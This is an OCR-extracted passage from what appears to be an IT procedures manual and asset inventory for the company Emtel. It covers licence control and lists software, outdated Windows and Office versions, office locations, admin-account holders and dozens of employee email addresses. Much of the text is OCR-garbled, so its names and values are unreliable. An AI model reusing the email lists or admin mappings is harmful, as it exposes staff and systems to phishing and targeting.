meses a estos recursos
en el caso que aplique.




Diagrama de flujo procedimiento administracion y gestion de recurso
tecnoldgico

Tecnologias de la informacion Recursos fisicos Gerencia

Generar un plan de
compras.

o Revisa el plan de compras

Tramitar la compra




PROCEDIMI
SOFTWARE

NOMBRE

DE LA

ACTIVIDAD
Diligenciar
solicitud
para
instalacion
de software.

la

ENTO

ACTIVIDAD /

DESCRIPCION

El jefe de cada area debe
diligenciar el formato para
solicitud de instalacion de
software por cada puesto de
trabajo que tenga a su cargo
y enviarlo a tecnologias de la
informacion

RESPONSABL

E

Jefe de area

INSTALACION Y CONTROL DE LICENCIAS DE

REGISTRO/
DOCUMENT
O

Recepcion,
y
verificacion
de licencias
software

El ingeniero de TI debe
recepcionar la solicitud y
verificar la disponibilidad de
la licencia solicitada en el
documento de control de
licencias, en el caso en el que
no haya disponibilidad de la
licencia debe diligenciar el
formato de necesidad de
recurso tecnoldgico para la
adquisiciéon de esta y seguir
procedimiento de adquisicion

Ingeniero de TI

y gestion de recurso
tecnolégico.
Ingeniero de TI
Entregar de|Después de realizar la
credenciale |verificacion el ingeniero de TI
s al técnico |debe asignar licencia,
de soporte y |registrarla en el documento
actualizar |de control de licencias y
control entregar seriales al técnico
de soporte.
Instalar El técnico de soporte debe |Técnico de
software recibir los seriales de la|soporte
licencia, realizar la
instalacion 'y verificar su

correcto funcionamiento.




Diagrama de flujo procedimiento instalacién y control de licencias software

Jefe de area Tecnologias de la informacion

Inicio

Entregar credenciales : Sequir procedimi
adqusi




NOMBRE DEL

ANEXO B

INVENTARIO DE ACTIVOS DE INFORMACION DEL PROCESO DE TI

PROPIETARIO DEL

ACTIVO DESCRIPCION UBICACION ACTIVO CUSTODIO USUARIO
Infermacién sobre los
Formato solicitud |requerimientos = que  los Tecnologias de la Todos los empleados de la empresa que requieran del
1 |de soporte técnico |usuarios  solictan  para Tl Informacién Correo institucional soporte@emtel.com.co Técnico de soporte gias pleado presa que req
o . ! Informacion servicio de soporte tecnico
diligenciado  |acceder al servicio de soporte
técnico
Informacién del namerc de
Formato control de/ o ias con las que cuenta Tecnologias de la
12 licencias que ¢ TI Informacién Correo institucional soporte@emtel.com.co-drive-formato de control de licencias Ingeniero de Tl gias Tecnico de soporte
o : la empresa y asignacion de Informacion
diligenciado
cada una de ellas.
Fechas establecidas por el
Cronograma de |ingeniero de Tl para realizar| Tecnologias de la
13 mantenimiento de |mantenimiento preventivo TI Informacién Correo institucional soporte@emtel.com.co-drive Ingeniero de Tl Iniomgmcion Técnico de soporte
equipos software y hardware de los
equipos de la empresa.
Formato Formato en el que cualquier
empleado o drea de la
necesidad de empresa debe registrar los Tecnologias de la | Todos los empleados de la empresa gue tengan la necesidad
14 recurso P 9 Tl Informacion Emtel sede centro-segundo piso-oficina de TI- carpeta formato necesidad de recurso tecnologico Ingeniero de TI gias P o presa g 9
tecnoléaico requerimientos y| Informacion de adquirir un recurso tecnologico
9 caracteristicas del recurso
diligenciado
tecnolégico que solicita
Biticorade |ncoisiro de las fallas o Tecnologias de la
15 " incidentes de los sistemas de TI Informacién Correo institucional soporte@emtel.com.co-drive-carpeta bitacora registro de fallas Ingeniero de Tl gas Administradores de plataformas tecnolégicas
registro de fallas Informacion
informacién de la empresa.
Permite identificar las
caracteristicas del equipo,
Hoja de vida de [24eMmés  de incluir — la Tecnologias de la
16 Je uinos informacién del historial de TI Informacién Correo institucional soperte@emtel.com.co-drive-carpeta hoja de vida de equipos Ingeniero de Tl Inicmg'nacion Técnico de soporte
qulp los mantenimientos que se le
han realizado a este ya sean
correctivos o preventivos.
Emtel sede centro-segundo piso-oficina de T1 Ingeniero de Tl
Emtel sede centro-segundo piso- oficina cor | Jefe de Cor  y Presupuesto
Emtel sede centro-segundo piso- oficina contabilidad Profesional de contabilidad
Emtel sede centro-segundo piso-oficina contabilidad Profesional esp izado de contabilidad
Emtel sede centro-segundo piso- oficina cor ] Profesional de contabilidad
Emtel sede centro-segundo piso-oficina contabilidad Auxiliar de contabilidad
Emtel sede centro-segundo piso-oficina contabilidad Auxiliar de contabilidad
Emtel sede centro-segundo piso- oficina seccion administrativa-Talento Humano Analista
Emtel sede centro-segundo piso- oficina seccion administrativa-Talento Humano Auxiliar administrativo
Emtel sede centro-segundo piso- oficina seccion administrativa-Talento Humano Auxiliar administrativo
Emtel sede centro-segundo piso- oficina seccion administrativa-Talente Humano Profesional de SGSST
Emtel sede centro-segundo piso- oficina seccion administrativa-Talento Humano Profesional de recursos fisicos y compras
Emtel sede centro-tercer piso-oficina de gestion juridica Jefe de gestion juridica
gwq | Licencia Windows |Sistema Operativo de los - Software Emtel sede centro-primer piso-oficina seccion recursos financieros-Tesoreria Ingenierc de TI Tecnologias de la  [Auxiliar de Tesoreria

XP

equipos de la empresa

Emtel sede centro-primer piso-oficina seccion recursos financieros-Tesoreria

Emtel sede centro-primer piso-oficina seccion recursos financieros-Tesoreria

Emtel sede cenlro-grimer giso-oi\cina seccion recursos financieros-Tesoreria

Emtel sede centro-primer piso-oficina seccion recursos financieros-Tesoreria

Emtel sede centro-primer piso-Bastidores

Emtel sede centro-primer piso-Seccion cormercial-mercadeo y ventas

Emtel sede centro-primer piso-oficina seccion recursos financieros-Cartera

Emtel sede centro-primer piso-oficina seccion recursos financieros-Cartera

Emtel sede centro-primer piso-oficina seccion recursos financieros-Facturacion

Emtel sede centro-primer piso-Seccion cormercial-Experiencia

Emtel sede centro-primer piso-seccion tecnico operativa-plataformas-oficina central

Emtel sede centro-primer piso n tecnico op! mas-oficina central

Emtel sede centro-primer piso-seccion tecnico operativa-plataformas-oficina central

Emtel sede centro-primer piso-seccion administrativa-gestion documental-archivo

Informacion

Auxiliar de Tesoreria

Auxiliar de Tesoreria

Tecnico de tesoreria

cajero

Operador

Asesor de ventas

Auxiliar administrativo

Auxiliar administrativo

Auxiliar administrativo

Auxiliar administrativo

Tecnico de planta

Tecnico de planta

Tecnico de glanta

Auxiliar administrativo




]

NOMBRE DEL
ACTIVO

DESCRIPCION

PROCESOS

TIPO

UBICACION

PROPIETARIO DEL
ACTIVO

cusTopio

USUARIO

Sw2 Lkance Wniows Gstema. Uperaivo de s Tl Software Emtel sede centro-segundo piso-oficina de Tl Ingeniero de Tl Tecno\ogwa; dela Administrador de sistemas de Informacion
vista equipos de la empresa Informacion
Emtel sede centro-segundo piso- oficina seccion administrativa-Talento Humano Profesional de recursos fisicos y compras
Emtel sede centro-segundo piso- oficina secclon administrativa-Talento Humano Tecnico Adminidtrativo
Emtel sede centro-segundo piso- oficina secclon administrativa-Talento Humano Tecnico de soporte
Emtel sede centro-segundo piso-oficina de seccion planeacion y negocios coorporativos Profesional especializado
Emtel sede centro-segundo piso-oficina de seccion planeacion y negocios coorporativos Supervisor
Emtel sede centro-segundo piso-oficina de seccion planeacion y negocios coorporatives Profesional especializado
Emtel sede centro-segundo piso-oficina de seccion planeacion y negocios coorporatives confratista
Emtel sede centro-segundo piso-oficina de seccion planeacion y negocios coorporativos profesional
Emtel sede centro-segundo piso-oficina Gestien del control Profesional de control interno
Emtel sede centro-segundo piso-oficina de seccion planeacion y negocios coorporativos-calidad Profesional de calidad
Emtel sede centro-segundo piso-gestion juridica Profesional especializada
Emtel sede centro-segundo piso-gestion juridica Judicante
Emtel sede centro-tercer piso-oficina de gastion juridica Profesional
Emtel sede centro-primer piso-Secclon cormercial-mercadeo y ventas Jefe de mercadeo
Licencia Windows (Sistema Operative de los Emtel sede centro-primer pise-Seccion cormercial-mercadeo y ventas Tecnologias de la Disefiadora grafica de mercadeo

Swa 7 equipos de la empresa Tl Software  Emtel sede cenlro-primer piso-Seccion cormercialmercadeo y ventas Ingenero de Tl Informacion  |Asesares
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente Ingeniero de soporte
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center Auxiliar administrativo
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center Agente call center
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center Agente call center
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center Agente call center
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center Agente call center
Emtel sede centro-primer pisa-central contratista Tl
Emtel sede centro-segundo piso-oficina de TI contratista Tl
Emtel sede centro-segundo piso-oficina de Tl Ingeniero de Tl
Emtel sede centro-segundo piso- oficina seccion administrativa-Talento Humano Pasante de Tl
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente Gestion comercial
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente Profesional
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente Gestion comercial
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente Auxiliar administrativo
Emtel sede centro-primer piso-seccion administrativa-gestion documental-archivo Digitador
Emtel sede centro-tercer piso-oficina de gestion juridica Auxiliar tecnica

SWa Licencla Windows |Sistema Operativo de los 1 Software Emtel sede centro-primer piso-oficina seccion fECUrsos i@nancierosrTesorer\a Ingeniero de Tl Tecno\ogwa; dela Auxi\@ar de tesoreria

8 equipos de la empresa Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente Informacion  |Gestion comercial

Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente Gestion comercial
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center Agente de call center 1
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center Agente de call center 2
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center Agente de call center 3
Emtel sede centro-primer pisa-Seccion cormercial-atencion al cliente-oficina de call center Coordinadora de call center

s Licencia Windows |Sistema Operativo de los . Sotare E:::: :g: z:::g:pnmer p\so:Secmon c:ormerc!al:aienc!on al c\!eme:ohc!na de call center oo o T Tecnologias de la Agente de call center 4

10 equipos de la empresa primer piso-Seccion cormercial-atencion al cliente-oficina de call center bl Informacion Agente de call center 5

Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center

Emtel sede centro-segundo piso-oficina de seccion planeacion y negacios coorporativos

Emtel sede centro-primer piso-oficina seccion recursos financieros-Tesoreria

Emtel sede centro-primer piso-Seccion cormercial-comunicacion

Emtel sede centro-tecer piso-oficina de gerencia

Agente de call center

Administrador de sistemas de Informacion

Jefe de seccion de recursos financieros

Disefiadora grafica

Auxiliar administrativo




SWe

NOMBRE DEL
ACTIVO

Licencia Microsoft
office 2007

DESCRIPCION

Conjunto de aplicaciones que
se utilizan para realizar
tareas  ofimaticas  (word,
excel, power point)

PROCESOS

TI

Software

UBICACION

Emtel sede centro-segundo piso-oficina de TI

Emtel sede oentrc-segundc EiSO- oficina contabilidad

Emtel sede oentro—segundu piso- oficina contabilidad

Emtel sede centro-segundo piso-oficina contabilidad

Emtel sede oentro—segundo EiSOf oficina contabilidad

Emtel sede oentro—segundu EISO*D‘\G\FIE contabilidad

Emtel sede centro-segundo piso-oficina contabilidad

Emtel sede centro-segundo piso- oficina seccion administrativa-Talento Humano
Emtel sede centro-segundo piso- oficina seccion ativa-Talento Humano

Emtel sede centre-segundo piso- oficina seccion ativa-Talento Humano

Emtel sede centro-segundo piso- oficina seccion administrativa-Talento Humano

Emtel sede centra-segundo piso- oficina seccion ativa-Talento Humano

Emtel sede centro-tercer piso-oficina de gestion juridica

Emtel sede oentro—gmmer EISO*QfIG\ﬂa seccion recursos financieros-Tesoreria

Emtel sede centra-primer pisc-oficina seccion recursos financieros-Tesoreria

Emtel sede centre-primer pisc-oficina seccion recursos financieros-Tesoreria

Emtel sede oentro—gmmer EISO*QfIG\ﬂa seccion recursos financieros-Tesoreria

Emtel sede centro-primer piso-oficina seccion recursos financieros-Tesoreria

Emtel sede centro-primer piso-Bastidores

Emtel sede centro-primer piso-Seccion cormercial-mercadeo y ventas

Emtel sede centro-primer piso-oficina seccion recursos financieros-Cartera

Emtel sede oentro-grimer giso-oﬁcma seccion recursos financieros-Cartera

Emtel sede oentro—gmmer EISO*QfIG\ﬂa seccion recursos financieros-Facturacion

Emtel sede centro-primer piso-Seccion cormercial-Experiencia

Emtel sede oentro—grimer giso—seccion tecnico ogeraiwa—gIaiaformasroi\cma central

Emtel sede centro-primer piso-seccion tecnico operativa-plataformas-oficina central

Emtel sede centro-primer piso-seccion tecnico operativa-plataformas-oficina central

Emtel sede oentrc—grimer giso—seccion admmisiratwa—geshon documental-archivo

Emtel sede centro-segundo piso-oficina de T1

Emtel sede centro-segundo piso- oficina seccion administrativa-Talento Humano

Emtel sede centre-segundo piso- oficina seccion ativa-Talento Humano

Emtel sede centro-segundo piso- oficina seccion administrativa-Talento Humano
Emtel sede centro-segundo piso-oficina de seccion planeacion y negocios coorporativos

Emtel sede centre-segundo piso-oficina de seccion p ion y negocios coorporativos

Emtel sede centro-segundo piso-oficina de seccion planeacion y negocios coorporativos

Emtel sede centro-segundo piso-oficina de seccion planeacion y negocios coorporativos

Emtel sede centre-segundo piso-oficina de seccion p ion y negocios coorporativos

Emtel sede centro-segundo piso-oficina Gestion del control

Emtel sede centra-segundo piso-oficina de seccion planeacion y negocios coorporativos-calidad

Emtel sede centro-segundo piso-gestion juridica

Emtel sede oentro—segundu EISO*QQSIIQH uridica

Emtel sede centro-tercer piso-oficina de gestion juridica

Emtel sede centro-primer piso-Seccion cormercial-mercadeo y ventas

Emtel sede centro-primer piso-Seccion cormercial-mercadeo y ventas

Emtel sede centro-primer piso-Seccion cormercial-mercadeo y ventas

Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente

Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center

Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center

Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center

Emtel sede centro-primer piso-central

Emtel sede centro-segundo piso-oficina de T1

Emtel sede centro-segundo piso-oficina de TI

Emtel sede centro-segundo piso- oficina seccion administrativa-Talento Humano
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente

Emtel sede centre-primer piso-Seccion cormercial-atencion al cliente

Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente

Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente

Emtel sede centre-primer pise-Seccion cormercial-atencion al cliente

Emtel sede oentro—gmmer pise-seccion admwmslratwa—geshun documental-archivo

Emtel sede centro-tercer piso-oficina de gestion juridica

Emtel sede oentrc-grimer giso-oﬁcma seccion recursos financieros-Tesoreria

Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente

Emtel sede centre-primer piso-Seccion cormercial-atencion al cliente

Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center

Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center

Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center

Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center
Emtel sede centra-segundo piso-oficina de seccion planeacion y negocios coorporativos.

Emtel sede centro-primer piso-oficina seccion recursos financieros-Tesoreria

Emtel sede centro-tecer piso-oficina de gerencia

PROPIETARIO DEL
ACTIVO

Ingeniero de TI

CusTODIO

Tecnologias de la
Informacion

USUARIO

Ingeniero de TI

Jefe de Contabilidad y Presupuesto
Profesional de contabilidad
Prof | especializado de
Profesional de contabilidad
Auxiliar de contabilidad
Auxiliar de contabilidad
Analista

Auxiliar administrativo
Auxiliar administrativo
Profesional de SGSST

Prof | de recursos fisicos y compras
Jefe de gestion juridica

Auxiliar de Tesoreria

Auxiliar de Tesoreria

Auxiliar de Tesoreria

Tecnico de tesoreria

cajero

Operador

Asesor de ventas

Auxiliar administrativo

Auxiliar administrativo

Auxiliar administrativo

Auxiliar administrativo

Tecnico de planta

Tecnico de planta

Tecnico de planta

Auxiliar administrivo

Administrador de sistemas de Informacion
Profesional de recursos fisicos y compras

Tecnico Administrativo
Tecnico de soporte
Profesional especializado
Supervisor

Profesional esgecia\izado
contratista

profesional

Profesional administrativo
Profesional de calidad
Profi | especializada
Judicante

Prof |

Jefe de mercado

Tecnico de mercadeo
asesores

Ingeniero de soporte
Auxiliar administrativo
Agente call center
ﬂgente call center
Agente call center

Agente call center

contratista Tl

contratista TI

Ingeniero de TI

Pasante de TI

Gestion comercial

Prof |

Gestion comercial

Auxiliar administrativo

Jefe de seccion de gestion al cliente
Digitador

Auxiliar tecnica
|Instador 2

Gestion comercial
Gestion comercial
ﬂgente de call center
Agente de call center
Agente de call center
Coordinadora de call center
Agente de call center
Agente de call center
Agente de call center
Administrador de sistemas de Informacion
Jefe de seccion de recursos financieros
Auxiliar administrativo

tabilidad




NOMBRE DEL PROPIETARIO DEL
ACTIVO DESCRIPCION PROCESOS UBICACION ACTIVO CUSTODIO USUARIO
Micrasoft volume Cuenta de administrador: Ingeniero de TI
— Administrador  de  licencias, ) Tecnologias de la
SWT7 licensing service A Tl Software Aplicacién web Ingeniero de TI .
i Windows para servidores Informacion
ceniar Cuenta de administrador: jefe de seccion de tecnica
Licenciade | oftware de disefio ufilizado Emtel sede santa clara-primer piso- seccion operativa Tecnologias de Ia |Jefe de Seccion de operativa
Swe para dibuje 2D y modelado Tl Software Ingeniero de TI .
Autocad 3D Informacion
Emtel sede santa clara-primer piso- seccion operativa Ingeniero de red de acceso
Software utlizado para la Tecnologias de la
w9 Winbox administracion  de  routers, Tl Software libre Emtel sede santa clara Ingeniero de TI 9as Plataformas y TI
I Informacion
Mikrotik
Emtel sede centro-primer piso-oficina seccion recursos financieros-Tesoreria Auxiliar de Tesoreria
Emtel sede centro-primer piso-oficina seccion recursos financieros-Tesoreria Tecnico de tesoreria
Emtel sede centro-primer pise-cficina seccion recursos financieros-Facturacion Auxiliar administrative
Software aue emula " Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente Tecnologias de la  |Auxiliar administrativo
sw10 Tera term programas de comunicacion, Tl Software libre - - - - Ingeniero de TI . - - -
como Telnet y SSH Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente Informacion | Jefe de seccion de gestion de atencion al cliente
Emtel sede centro-primer piso-seccion tecnico operativa-plataformas-oficina central Tecnico de planta
Emtel sede centro-primer piso-seccion tecnico operativa-plataformas-oficina central Tecnico de planta
Emtel sede centro-primer piso-seccion tecnico operativa-plataformas-oficina central Tecnico de planta
Emtel sede centro-primer piso-oficina seccion recursos financieros-Tesoreria Auxiliar de Tesoreria
Es un clente FTP que
permite realizar transferencia Software Licancia |EMte! sede centro-primer piso-oficina seccion recursos financieros-Tesoreria Tecnico de tesoreria
. entre servidores, abrir varias| X
sSwi11 Licencia de Ace sesiones FTP al mismo Tl en disco duro Ingeniero de TI Tecnalogias de |a
FTP externo toshiva (1 |Emtel sede centro-primer piso-oficina seccion recursos financieros-Facturacion g Informacion Auxiliar administrative
tiempo, abrir los archivos, o
licencia AceFTP)
descargados con un
visualizador interno Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente Jefe de seccion de gestion de atencion al cliente
swi12 Virtual box Software de virtualizacion Tl Software libre Emtel sede centro y sede santa clara Ingeniero de TI Te{l}:gfg‘:;:: k Plataformas y Tl
i illzad ‘ Emtel sede centro-primer piso-oficina seccion recursos financieros-Tesoreria Jefe de seccion de recursos financieros
software utiizado para e - " " — -
Emtel sede centro-primer piso-oficina seccion recurses financieros-Tesoreria Auxiliar de Tesoreria
swi13 Epaymet registro de la recoleccion de Tl Software libre P I P I ‘ I 4 I I I Ingeniero de T1 Tecno\og\as. dela jAu ‘
dinero en caja Emtel sede centro-primer piso-oficina seccion recursos financieros-Tesoreria Informacion | Tecnico de tesoreria
Emtel sede centro-primer piso-oficina seccion recursos financieros-Facturacion Auxiliar administrative
Emtel sede centro-segundo piso- oficina contabilidad Cuenta de usario: jefe de Contabilidad y Presupuesto
Emtel sede centro-segundo piso- oficina contabilidad Cuenta de usuario: Profesional de contabilidad
Emtel sede centro-segundo piso- oficina contabilidad Cuenta de usuario: Profesional especializado de contabilidad
Emtel sede centro-segundo piso- oficina contabilidad Cuenta de usuario: Profesional de contabilidad
Emtel sede centro-segundo piso- oficina contabilidad Cuenta de usuario: Auxiliar administrativo
Plataforma tecnologica Emtel sede centro-primer piso-oficina seccion recursos financieros-Tesoreria Administrador de Cuenta de usuario: Auxiliar de Tesoreria
SW14 Apoteosys utilizada para la s_eSi\ﬁﬂ de T Software Emiel sede centro-primer piso-oficina seccion recursos financieros-Tesoreria sistermas de Tecno\og\as_ dela [Cuenta de usuario: Tecnico de tesoreria
las operaciones  financieras, Emtel sede centro-primer piso-oficina seccion recursos financieros-Tesoreria informacién Informacion | Guenta de usuario: Auxiiar de Tesoreria

de la empresa.

Emtel sede centro-primer piso-oficina seccion recursos financieros-Facturacion

Emtel sede centro-segundo piso-oficina de TI

Emtel sede centro-tecer piso-oficina de gerencia

Emtel sede centro-primer pise-oficina seccion recursos financieros-Tesoreria

Emtel sede centro-segundo piso-oficina Gestion del control

Cuenta de usuario: Auxiliar de Tesoreria

Cuenta de administrador: Administrador de sistemas de
Informacion

Cuenta de usuario: Auxiliar administrativo

Cuenta de usuario: Jefe de seccion de recursos financieros

Cuenta de usuario: profesional de control interno




ID

NOMBRE DEL
ACTIVO

DESCRIPCION

Plataforma tecnologica para

PROCESOS

UBICACION

Emtel sede centro-primer piso-oficina seccion recursos financieros-Tesoreria

Emtel sede centro-primer pigo-Seccion cormercial-mercadeo y ventas

Emtel sede centro-primer piso-oficina seccion recursos financieros-Tesoreria

Emtel sede centro-segundo piso-oficina de Tl

Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center

Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center

Emtel sede centro-primer pigo-Seccion cormercial-atencion al cliente-oficina de call center

Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center

Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center

Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center

Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center

Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center

Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center

Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center

Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center

PROPIETARIO DEL

ACTIVO

cusToDio

USUARIO

Auxiliar de Tesoreria

Tecnico de mercadeo

Auxiliar de tesoreria

Administrador de sistemas de Informacion

Agente de call center 1

Agente de call center 2

Agente de call center 3

Coordinadora de call center

Agente de call center 4

Agente de call center 5

Agente de call center 6

Agente de call center 7

Agente de call center 8

Agente de call center 9

Agente de call center 10

gestionar ¢l sistema de Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center Administrador de Tecnologias de la|Agente de callcenter 11
SWIS | Openflexls | macién de usuaries de m Software  |Emte sede centro-primer piso-Seccion cormercial-atencion al dliente-oficina de call center sistemas de Informacion |Agente de call center 12
la empresa. Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente inioimacin Jefe de seccion de atencion al clente
Emtel sede centro-primer piso-Seccion cormercial-mercadeo y ventas Jefe de mercadeo
Emtel sede centro-primer piso-oficina seccion recursos financleros-Facturacion Auxiliar administrativo
Emtel sede centro-primer piso-oficina seccion recursos financieros-Tesoreria Auxiliar de tesoreria
Emtel sede centro-primer piso-seccion administrativa-gestion documental-archivo Digitador
Emtel sede centro-primer piso-oficina seccion recursos financieros-Tesoreria Cajero
Emtel sede santa clara-primer piso-red de acceso Tecnico de heldesk
Emtel sede santa clara-primer piso-help desk Tecnico de heldesk
Emtel sede santa clara-primer piso-help desk Tecnico de heldesk
Emtel sede santa clara-primer piso-help desk Techico de heldesk
Emtel sede bellavista-bastidor Auxilar administrativo
Emtel sede centro-primer piso-bastidor Auxillar administrativo
Emtel sede la paz-batidor Auxillar administrativo
Emtel sede santa clara-primer piso-bastidor Auxillar administrativo
Emtel sede santa clara-primer piso-red de acceso Ingeniero de plataformas
Emtel sede santa clara-primer piso-red de acceso Ingeniero de plataformas
cuenta de administrador: Ingeniero de Tl
cuenta de administrador: contratista de TI
Cuenta de supervisor: Coordinador de call center
Cuenta de usuario: Agente de call center
Cuenta de usuario: Agente de call center
Plataforna tecnolbgica para Cuenta de usuario: Agente de call center
’ Cuenta de usuario: Agente de call center
Wi Contact center geslwongr . los medios qe T Software Aplcacién web Ingeniero de Tl Tecno\og\a; dela Cuenta ds usuario: Agents de call cenfer
(Issabel) comunicacién con el usuario Informacion

(call center)

Cuenta de usuarlo: Agente de call center

Cuenta de usuarlo: Agente de call center

Cuenta de usuarlo: Agente de call center

Cuenta de usuarlo: Agente de call center

Cuenta de usuario: Agente de call center

Cuenta de usuario: Agente de call center

Cuenta de usuario: Agente de call center




ABILEHAEL DESCRIPCION PROCESOS UBICACION EROEIETARIO DEL USUARIO

ACTIVO ACTIVO

1 cuenta de administrador 47 de usuarios
asanchez@emtel.com.co
abossio@emtel.com.co
abolanos@emtel.com.co
cquintero@emtel.com.co
iones@emtel.com.co
contratacion@emtel.com.co
dmontenegro@emtel.com.co
dmejia@emtel.com.co
dbalcazar@emtel.com.co
eibarra@emtel.com.co
eorobio@emtel.com.co
esalazar@emtel.com.co
facturacion@emtel.com.co
facturacionelectronica@emitel.com.co
fbenavides@emtel.com.co

estionadministrativa@emtel.com.co

imunoz@emtel.com.co

Herramienta software ara Mmm
SW17 | Gsuite de Google |gestionar  los woneoe I Software Aplicacién web Ingenierade TI | Tecnologias dela ligomez@emtel.com.co
! Informacion [jdvalenzuela@emtel.com.co
oorporatlvosde la empresa ) 3|Vaﬂ@emte|.00m.00
Icaicedo@emtel.com.co
usuario@emtel.com.co
%eraf%ala(;ios%emtel.mm.m
mcalvache@emtel.com.co
mbahos@emtel.com.co
paburbano@emtel.com.co
E‘antaexterﬂa@emie‘.mm.m
E‘ataformas@emie‘.mm.m
@emtel.com.co

rmosquera@emtel.com.co
rmma!o@emtel.oom.m
servicioalcliente@emtel.com.co
istemas@emtel.com.co
SQEQﬁe@emie‘.GQm.GQ
ta\entohumanu@emlel.mm.m
tecnicos@emtel.com.co
tesoreria@emtel.com.co
thuﬂadu@emiel.mm.m
tel.com.co
rcastilo@emtel.com.co
yortega@emtel.com.co

Plataforma de | erramienta  software cuenta de administrador: Ingeniero de TI
utiizada para registrar los Tecnologias de la

SW18 contratos de Tl Software Aplicacién web Ingeniero de Tl
usuarios contratos de susberipcion de Informacion Cuenta d o: Cristian Ji

los usuarios de la empresa uenta de usuario: Cristian Jimenez
Plataforma tecnologica Emtel sede centro-segundo piso- oficina seccion administrativa-Talento Humano Analista
utiizada para gestionar la - h Tecnologias de la — -

swi9 SQL software | e y el recurso humano T Software Emtel sede centro-segundo piso-oficina de Tl Ingeniero de TI Informacion Administrador de sistemas de Informacion
de la empresa Emtel sede centro-segundo piso- oficina seccion administrativa-Talento Humano Auxiliar administrativo
Herramienta software para . .
gestionar la seguridad de los cuenta de administrador: Ingeniero de TI

swao |Suite de sequridad lequipos de la  empresa - Software Aplicacién web Ingeniera de T1 Tecnologias de la

(Bit defender) |ssolamente se ha adguirido la Informacion
licencia para 40 equipos de Cuenta de usuario: tecnico de T1
computo
4 Cuentas de administrador:ingeniero de TI, tecnico de

Plataforma tecnolégica Tecnologias de a _|SOPOrte: ¥ dos administradores de la empresa duefia del

sw21 Docdus utiizada para la gestion Tl Software Aplicacion web Ingeniero de Tl Informacion software
documental de la empresa

Pendiente porque el servidor no esta funcionando
Pagina webutilizada para
Resgistro nacional || i yar las bases de datos,
SW22 |de bases de datos |9 Tl Aplicacién web Ingeniero de TI

personales de  usuarios,

(RNED) empleados, contratista, efc.




NOMBRE DEL PROPIETARIO DEL
ACTIVO DESCRIPCION PROCESOS UBICACION ACTIVO CUSTODIO USUARIO
Emtel sede centro-segundo piso-oficina de TI Ingeniero de T
Emtel sede centro-segundo piso- oficina contabilidad Jefe de Contabilidad y Presupuesto
Emtel sede centro-segundo pise- oficina contabilidad Profesional de contabilidad
Emtel sede centro-segundo piso-ofici tabilidad Profesional especi io de contabilidad
Emtel sede centro-segundo piso- oficina contabilidad Profesional de contabilidad
Emtel sede centro-segundo p fi tabilidad Auxiliar de contabilidad
Emtel sede centro-segundo pi: fici tabilidad Auxiliar de contabilidad
Emtel sede centro-segundo pisc- oficina seccion administrativa-Talento Humano Analista
Emtel sede centro-segundo pisc- oficina seccion administrativa-Talento Humano Auxiliar administrativo
Emtel sede centro-segundo piso- oficina seccion administrativa-Talento Humano Auxiliar administrativo
Emtel sede centro-segundo pisc- oficina seccion administrativa-Talento Humano Profesional de SGSST
Emtel sede centro-segundo pisc- oficina seccion administrativa-Talento Humano Profesional de recursos fisicos y compras
Emtel sede centro-tercer piso-oficina de gestion juridica Jefe de gestion juridica
Emtel sede centro-primer piso-oficina seccion recursos financieros-Tesoreria Auxiliar de Tesoreria
Emtel sede centro-primer pisc-oficina seccion recursos financieros-Tesoreria Auxiliar de Tesoreria
Emtel sede centro-primer pisc-oficina seccion recursos financieros-Tesoreria Auxiliar de Tesoreria
Emtel sede centro-primer piso-oficina seccion recursos financieros-Tesoreria Tecnico de tesoreria
Emtel sede centro-primer piso-oficina seccion recursos financieros-Tesoreria cajero
Emtel sede centro-primer piso-Bastidores Operador
